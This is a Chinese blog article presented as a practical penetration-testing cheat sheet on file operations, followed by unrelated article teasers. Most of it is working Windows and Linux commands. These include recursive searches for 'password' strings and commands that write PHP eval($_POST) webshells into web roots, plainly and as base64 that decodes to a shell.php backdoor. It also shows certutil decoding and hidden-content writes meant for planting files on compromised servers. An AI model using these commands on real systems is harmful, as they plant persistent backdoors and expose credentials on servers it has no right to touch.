当前位置：首页 > news >正文

【实战】渗透测试下的文件操作

news 来源：原创 2025/7/5 12:52:59

Linux查找文件

Windows查找文件

查找可写目录

windows

Linux

创建

Windows

Linux

压缩

解压

远程解压文件

Linux查找文件

>find / -name index.php
查找木马文件
>find . -name '*.php' | xargs grep -n 'eval('
>find . -name '*.php' | xargs grep -n 'assert('
>find . -name '*.php' | xargs grep -n 'system('

Windows查找文件

>cd /d E: && dir /b /s index.php
>find /N /I "root" config.php
>for /r E:\ %i in (config*.php) do @echo %i
>for /r E:\ %i in (*.txt) do @echo %i
>findstr /s /n "password" c:\*
>powershell Get-ChildItem d:\ -Include index.php -recurse

查找可写目录

windows

在C:\Users\administrator\Desktop任意子目录  war.txt文件的同目录下
写
for /f %i in ('dir /s /b C:\Users\administrator\Desktop\war.txt') do (echo %i > %i\..\finddir.txt)
删
for /f %i in ('dir /s /b C:\Users\administrator\Desktop\war.txt') do (del %i\..\finddir.txt)
在C:\Users\administrator\Desktop任意子目录  war文件夹下
写
for /f %i in ('dir /s /b C:\Users\administrator\Desktop\war') do (echo %i > %i\finddir.txt)
删
for /f %i in ('dir /s /b C:\Users\administrator\Desktop\war') do (del %i\finddir.txt)

Linux

在/root  war文件的同目录下
写
find /root -name war|while read file;do sh -c "echo $file">$(dirname $file)/finddir.txt;done
删
find /root -name war|while read file;do sh -c "rm $(dirname $file)/finddir.txt";done
在/root  war文件夹下
写
find /root -name war|while read file;do sh -c "echo $file">$file/finddir.txt;done
删
find /root -name war|while read file;do sh -c "rm $file/finddir.txt";done

创建

Windows

读文本文件：
>file = Get-Content "1.txt"
>file
写文件
>powershell Set-content "1.txt" "wocao"
&
>powershell "write-output ([System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String(\"d2Vic2hlbGw=\"))) | out-file -filepath c:\www\wwwroot\1.aspx;"
或
>set /p=^<?php phpinfo()?^><nul>c:\1.php
或
>echo ^<?php phpinfo()?^>>c:\1.php
追加内容
>echo 111>>c:\1.php
不换行追加
>set /p="222">>c:\1.php
分段不换行追加
>echo|set /p=\"PCFET0NUWVBFIGh0bWw+IDxodG1sPiA8aGVhZD4gPG1ldGEgaHR0cC1lcXVpdj0iQ29udGVudC1UeXBlIiBjb250ZW50PSJ0ZXh0L2h0bWw7IGNoYXJzZXQ9dXRmLTgiIC8+PGgxPjIwMjHlubR4eHjnvZHnu5zlronlhajlrp7miJjmvJTnu4M8L2gxPg==\" > D:\www\1.txt
读/写入命令无空格
>type;c:\1.php
>echo.111>>c:\1.php
>echo,111>>c:\1.php
写入特殊字符
>certutil -f -decode 1.txt C:\\1.php
>certutil -decodehex 1.txt C:\\1.php

Linux

>echo PD9waHAgZXZhbCgkX1BPU1Rbd2hvYW1pXSk7Pz4=|base64 -d > /var/www/html/shell.php
>echo \<\?php eval\(\@\$_POST\[1\]\)\; \?\> >1.php

压缩

>rar.exe a –k –r –s –m3 C:\1.rar C:\wwwroot
>7z.exe a –r –p12345 C:\1.7z C:\wwwroot

解压

>rar.exe e c:\wwwroot\1.rar
>7z.exe x –p12345 C:\1.7z –oC:\wwwroot

远程解压文件

pip install remotezip
#列出远程压缩包文件内容
remotezip -l http://site/bigfile.zip
#解压里面的文件
remotezip "http://site/bigfile.zip" "file.txt"

【实战】渗透测试下的文件操作

目录 Linux查找文件 Windows查找文件查找可写目录 windows Linux 创建 Windows Linux 压缩解压远程解压文件 Linux查找文件 >find / -name index.php 查找木马文件 >find . -name *.php | xargs grep -n eval( >find . -name *.php | xargs grep -n ass…...

编程日记 2025/7/5 12:52:59

MATLAB 控制系统设计与仿真 - 30

用极点配置设计伺服系统方法2-反馈修正如果我们想只用前馈校正输入，从而达到伺服控制的效果，我们需要很精确的知道系统的参数模型，否则系统输出仍然具有较大的静态误差。但是如果我们在误差比较器和系统的前馈通道之间插入一个积分器&a…...

编程日记 2025/7/4 21:03:37

P1091 [NOIP 2004 提高组] 合唱队形

题目链接： 思路： 题目意思，找出最少的同学出列，保证学生 1-t 上升， t-n 下降。我们只要求出每个点的最长上升子序列和最长不上升子序列，然后总人数-最长上升子序列和最长不上升子序列1，就是最少…...

编程日记 2025/7/3 10:43:37

小林coding-12道Spring面试题

1.说一下你对 Spring 的理解?spring的核心思想说说你的理解？ 2.Spring IoC和AOP 介绍一下?Spring的aop介绍一下?IOC和AOP是通过什么机制来实现的?怎么理解SpringIoc？依赖倒置，依赖注入，控制反转分别是什么？依赖注…...

编程日记 2025/7/2 21:39:03

通过Spring Boot集成WebSocket进行消息通信

文章目录通过Spring Boot集成WebSocket进行消息通信1. 创建 Spring Boot 项目2. 添加 WebSocket 依赖3. 配置 WebSocket4. 创建 WebSocket 处理器5. 创建控制器（可选）6. 前端页面测试7. 运行项目注意事项通过Spring Boot集成WebSocket进行消息通信 1.…...

编程日记 2025/6/30 1:36:40

ComfyUI发展全景：从AI绘画新星到多功能创意平台的崛起

在人工智能技术迅猛发展的浪潮中，ComfyUI作为基于Stable Diffusion的开源工具，已经从最初的AI绘画辅助软件成长为支持多模态创作的强大平台。本文将全面梳理ComfyUI的发展历程、技术特点、应用场景及其在AIGC生态中的独特地位，同时展望这一工…...

编程日记 2025/6/30 18:07:42

11-项目涉及设备的问题

我们部门在开发一些项目时，确实需要借用设备，但每次开发新需求时都要从硬件部门借设备，开发完成后又要归还。这种频繁的借还流程不仅增加了沟通成本，还导致项目负责人和开发人员对设备的功能和应用场景缺乏直观的了解。有时甚至连…...

编程日记 2025/7/3 14:10:20

将 Markdown 表格结构转换为Excel 文件

在数据管理和文档编写过程中，我们经常使用 Markdown 来记录表格数据。然而，Markdown 格式的表格在实际应用中不如 Excel 方便，特别是需要进一步处理数据时。因此，我们开发了一个使用 wxPython 的 GUI 工具，将 Markdown…...

编程日记 2025/7/4 21:36:59

C++学习之Linux文件编译、调试及库制作

目录 1.rwx对于文件和目录的区别 2.gcc编译过程 3.数据段合并和地址回填说明 4.gcc编译其他参数 5.函数库简介 6.静态库的使用 7.动态库的简介 8.动态库制作基本流程 9.启动APP错误解决方案12 10.启动APP错误解决方案34 11.makefile一组规则 12.makefile的两个函数 …...

编程日记 2025/6/29 17:38:51

neo4j中导入csv格式的三元组数据

csv数据格式： head_entity,relation,tail_entity 02.02类以外的脂肪乳化制品，包括混合的和（或）调味的脂肪乳化制品,允许添加,β-胡萝卜素 02.02类以外的脂肪乳化制品，包括混合的和（或）调味的脂…...

编程日记 2025/6/28 2:27:12

高项第十六章——项目采购管理

什么是采购管理？项目采购管理包括从项目团队外部采购或获取所需产品、服务或成果的各个过程。项目采购管理包括编制和管理协议所需的管理和控制过程。 16_1 管理基础什么是协议？协议是用于明确项目初步意向的任何文件或沟通结果，协议的范…...

编程日记 2025/7/4 6:24:07

架构师面试（二十二）：TCP 协议

问题今天我们聊一个非常常见的面试题目，不管前端还是后端，也不管做的是上层业务还是底层框架，更不管技术方向是运维还是架构，都可以思考和参与一下哈！ TCP协议无处不在，我们知道 TCP 是基于连接的端到端…...

编程日记 2025/7/2 12:15:30

五.ubuntu20.04 - ffmpeg推拉流以及Nginx、SRS本地部署

一.本地部署nginx 1.编译ffmpeg，参考这位博主的，编译选项有的enable找不到的不需要的可以直接删除，但是像sdl（包含ffplay）、h264、h265这些需要提前下载好，里面都有下载指令。 Ubuntu20.04 编译安装 FFmp…...

编程日记 2025/7/1 4:12:29

JS 手撕题高频考点

前端面试中，JS 手撕题是高频考点，主要考察编程能力、算法思维、JS 核心知识。以下是最常见的手撕题分类代码示例： 目录 📌 1. 手写函数柯里化📌 2. 手写 debounce（防抖）📌 3. 手写…...

编程日记 2025/7/2 16:40:27

Hyperlane框架临时上下文数据管理：提升Web开发效率的利器

Hyperlane框架临时上下文数据管理：提升Web开发效率的利器在现代Web开发中，临时上下文数据管理是实现高效请求处理的关键。Hyperlane框架通过创新的临时上下文存储机制，为开发者提供了一套简洁、安全的解决方案，让数据在请求生命…...

编程日记 2025/7/5 1:33:51

QT操作PDF文件

Qt 早期本身不提供原生的 PDF 操作功能。从 Qt 5.15 开始，Qt 提供了 PDF 模块，可以显示和提取 PDF 内容。Qt中有如下几种方式实现 PDF 文件的生成、读取和操作。 1、使用 QPrinter 生成 PDF 2、使用 Qt PDF 模块 (Qt 5.15+) 3、使用第三方库（比如：Poppler）一、使用 Q…...

编程日记 2025/7/5 6:21:19

【算法手记8】NC95 数组中的最长连续子序列字母收集

🦄个人主页:修修修也 🎏所属专栏:刷题 ⚙️操作环境:牛客网目录一.NC95 数组中的最长连续子序列题目详情: 题目思路: 解题代码: 二.字母收集题目详情: 题目思路: 解题代码: 结语一.NC95 数组中的最长连续子序列牛客网题目链接(点击即可跳转):NC95 …...

编程日记 2025/7/3 1:22:01

AI渗透测试：网络安全的“黑魔法”还是“白魔法”？

引言：AI渗透测试，安全圈的“新魔法师” 想象一下，你是个网络安全新手，手里攥着一堆工具，正准备硬着头皮上阵。这时，AI蹦出来，拍着胸脯说：“别慌，我3秒扫完漏洞&#xff0…...

编程日记 2025/6/28 4:12:16

使用perf工具分析Linux系统的性能瓶颈

想获取更多高质量的Java技术文章？欢迎访问Java技术小馆官网，持续更新优质内容，助力技术成长 Java技术小馆官网https://www.yuque.com/jtostring 使用perf工具分析Linux系统的性能瓶颈在现代计算系统中，性能瓶颈是一个经常遇到…...

编程日记 2025/7/4 5:03:18

知识就是力量——HELLO GAME WORD!

你好！游戏世界！ 简介环境配置前期准备好文章介绍创建头像小功能组件安装本地中文字库HSV颜色空间音频生成空白的音频游戏UI开发加载动画注册登录界面UI界面第一版第二版第一个游戏（贪吃蛇）第二个游戏（俄罗斯方块&…...

编程日记 2025/7/1 4:41:34

LeetCode算法题(Go语言实现)_20

题目给你两个下标从 0 开始的整数数组 nums1 和 nums2 ，请你返回一个长度为 2 的列表 answer ，其中： answer[0] 是 nums1 中所有不存在于 nums2 中的不同整数组成的列表。 answer[1] 是 nums2 中所有不存在于 nums1 中的不同整数组成…...

编程日记 2025/6/28 7:02:07

ES拼音分词自动补全实现

#测试拼音分词 POST /_analyze { "text":"如家酒店真不错", "analyzer": "pinyin" } #这里把拼音的首字母放到这里，也说明了这句话没有被分词，而是作为一个整体出现的 #还把每一个字都形成了一个拼音&#…...

编程日记 2025/6/30 4:13:56

Spring Boot 日志配置 SLF4J 和 Logback

文章目录一、前言二、案例一：初识日志三、案例二：使用Lombok输出日志四、案例三：配置Logback 一、前言在开发 Java 应用时，日志记录是不可或缺的一部分。日志可以记录应用的运行状态、错误信息和调试信息，帮助开发者…...

编程日记 2025/6/28 5:09:43

构建大语言模型应用：数据准备（第二部分）

本专栏通过检索增强生成（RAG）应用的视角来学习大语言模型（LLM）。本系列文章简介数据准备（本文）句子转换器向量数据库搜索与检索大语言模型开源检索增强生成评估大语言模型服务高级检索增强生成 RAG 如上…...

编程日记 2025/7/1 4:51:28

mac m 芯片动态切换 jdk 版本jdk8.jdk11.jdk17

下载 jdk 版本. 默认安装路径在. /Library/Java/JavaVirtualMachines配置环境变量 # 动态获取所有 JDK 路径 export JAVA_8_HOME$(/usr/libexec/java_home -v 1.8) export JAVA_11_HOME$(/usr/libexec/java_home -v 11) export JAVA_17_HOME$(/usr/libexec/java_home -v 17)#…...

编程日记 2025/7/1 4:43:57

如何通过python将视频转换为字符视频

请欣赏另类的老鼠舞字符老鼠舞与原版对比对比实现过程 1. 安装库 pip install numpy pip install Pillow pip install opencv-python pip install moviepy 2. 读取视频帧并转换为灰度图 import cv2def make_video(input_video_path, output_video_path):video_cap cv2…...

编程日记 2025/6/28 3:56:34

如何高效备考蓝桥杯（c/c++）组

以下是针对蓝桥杯C/C组的高效备考策略，结合你的当前基础（C语法简单算法题），分阶段提升竞赛能力，重点突破高频考点： 一、蓝桥杯C/C组核心考点梳理根据历年真题，重点考察以下内容（按…...

编程日记 2025/6/30 12:52:49

两数之和-力扣

给定一个整数数组 nums 和一个整数目标值 target，请你在该数组中找出和为目标值 target 的那两个整数，并返回它们的数组下标。你可以假设每种输入只会对应一个答案，并且你不能使用两次相同的元素。你可以按任意顺序返回答案。示例 1…...

编程日记 2025/7/1 11:20:06

react撤销和恢复

创建一个历史记录栈past，和一个撤销过的栈future，，在每次操作store的时候，将当前的store的数据，存入历史记录栈past中，， 如果是撤销操作，，就从这个历史栈中取最后面那个数…...

编程日记 2025/7/3 1:16:04

华为机试—密码验证合格程序

题目你需要书写一个程序验证给定的密码是否合格。合格的密码要求： 长度超过 8 位必须包含大写字母、小写字母、数字、特殊字符中的至少三种不能分割出两个独立的、长度大于 2 的连续子串，使得这两个子串完全相同；更具体地，如果…...

编程日记 2025/7/4 18:37:47

分布式ID生成器：雪花算法原理与应用解析

在互联网分布式系统中，生成全局唯一的ID是一个核心问题。传统的数据库自增ID、UUID虽然各有优缺点，但在高并发、分库分表场景下往往无法满足需求。美团Leaf分布式ID生成器便是为了解决这些问题而诞生的，其核心实现便是基于Snowflake&#xff…...

编程日记 2025/7/2 4:13:51

搭建Flutter开发环境 - MacOs

一、配置Flutter SDK 1.1 到官网下载Flutter SDK 打开Flutter中文社区网址，往下滚动，找到下载并安装Flutter，选择适合自己电脑的安装包进行下载。下载完毕后，解压放到你想要放置的目录下，我放到了 User/账户/develop…...

编程日记 2025/7/3 18:58:07

【Flutter学习（1）】Dart访问控制

疑问代码片段： class _MyHomePageState extends State<MyHomePage> {int _counter 0;void _incrementCounter() {setState(() {_counter;});} }对Flutter初始文件里下划线的疑问为什么这里的类和申明的计数器都要在前面加一个下划线？ 在 Dart 中…...

编程日记 2025/7/1 4:40:08

Day50 单词规律

给定一种规律 pattern 和一个字符串 s ，判断 s 是否遵循相同的规律。这里的遵循指完全匹配，例如， pattern 里的每个字母和字符串 s 中的每个非空单词之间存在着双向连接的对应规律。 class Solution {public boolean wordPattern(String p…...

编程日记 2025/7/3 1:22:02

HTTP和HTTPS区别

一：工作原理 HTTP 超文本传输协议。一种应用层协议，用于在客户端（如浏览器）和服务器之间传输超文本数据（如HTML、图片）。明文传输，无加密。 HTTPS 安全的超文本传输协议。是HTTP的加密…...

编程日记 2025/7/1 17:45:49

拥抱AI变革机遇，联易融自研供应链金融垂直领域大模型“蜂联 AI”

2025年3月25日，中国领先的供应链金融科技解决方案服务商联易融科技集团（09959.HK，以下简称“联易融”）发布2024年业绩公告。2024年公司总收入及收益达10.3亿元，同比增长19%；受益于产品结构优化与运营效率改…...

编程日记 2025/7/2 15:14:46

常用数据库

模式的定义于删除 1.定义模式 CREATE SCHEMA [ <模式名> ] AUTHORIZATION < 用户名 >;要创建模式，调用该命令的用户必须拥有数据库管理员权限，或者获得了DBA授权 eg:为用户WANG定义一个模式S-C-SC CREATE SCHEMA "S-C-SC" AUT…...

编程日记 2025/6/28 3:45:46

Hive UDF开发实战：构建高性能JSON生成器

目录一、背景与需求场景二、开发环境准备 2.1 基础工具栈 2.2 Maven依赖配置三、核心代码实现...

编程日记 2025/6/29 8:54:02

数字电子技术基础（三十六）——利用Multisim软件实现3线-8线译码器

目录 1 手动方式实现3线-8线译码器 2 使用字选择器实现3线-8线译码器现在尝试利用Multisim软件来实现3线-8线译码器。本实验目的是验证74LS138的基本功能，简单来说就是“N中选1”。实验设计： （1）使能信号：时&am…...

编程日记 2025/7/4 12:40:17

解析 HTML 网站架构规范

2025/3/28 向全栈工程师迈进！ 一、网页基本的组成部分网页的外观多种多样，但是除了全屏视频或游戏，或艺术作品页面，或只是结构不当的页面以外，都倾向于使用类似的标准组件。 1.1页眉通常横跨于整个页面顶部有一…...

编程日记 2025/7/2 1:29:17

小智机器人关键函数解析，Application::OutputAudio()处理音频数据的输出的函数

以下是对 Application::OutputAudio() 函数的详细解释： 源码： void Application::OutputAudio() { // 扬声器的输出auto now std::chrono::steady_clock::now();auto codec Board::GetInstance().GetAudioCodec();const int max_silence_seconds 10;…...

编程日记 2025/6/29 22:12:37

基于javaweb的SpringBoot驾校预约学习系统设计与实现(源码+文档+部署讲解）

技术范围：SpringBoot、Vue、SSM、HLMT、Jsp、PHP、Nodejs、Python、爬虫、数据可视化、小程序、安卓app、大数据、物联网、机器学习等设计与开发。主要内容：免费功能设计、开题报告、任务书、中期检查PPT、系统功能实现、代码编写、论文编写和辅导、论文…...

编程日记 2025/7/3 15:22:30

《边缘计算风云录：FPGA与MCU的算力之争》

点击下面图片带您领略全新的嵌入式学习路线 🔥爆款热榜 88万阅读 1.6万收藏文章目录 **第一章：边城烽烟——数据洪流压境****第二章：寒铁剑匣——FPGA的千机变****第三章：枯木禅杖——MCU的至简道****第四章：双生契…...

编程日记 2025/7/2 21:00:20

3.3 元组

元组（tuple）： 1.元组的定义： -通过 tuple（） ！！！元组中的元素不能发生改变！！！ #测试元组的定义 # - 定义空元组 tuple1 ()print(tu…...

编程日记 2025/7/1 10:32:05

PyTorch版本过低导致属性错误-Linux服务器

问题在 Jupyter Lab 中配置 Python 环境（如 PyTorch 或其他库）通常涉及以下几个步骤： 1. 检查当前 Jupyter Lab 的内核环境运行以下命令查看当前可用的内核： !jupyter kernelspec list或者 jupyter kernelspec list这会显示 …...

编程日记 2025/7/2 11:32:41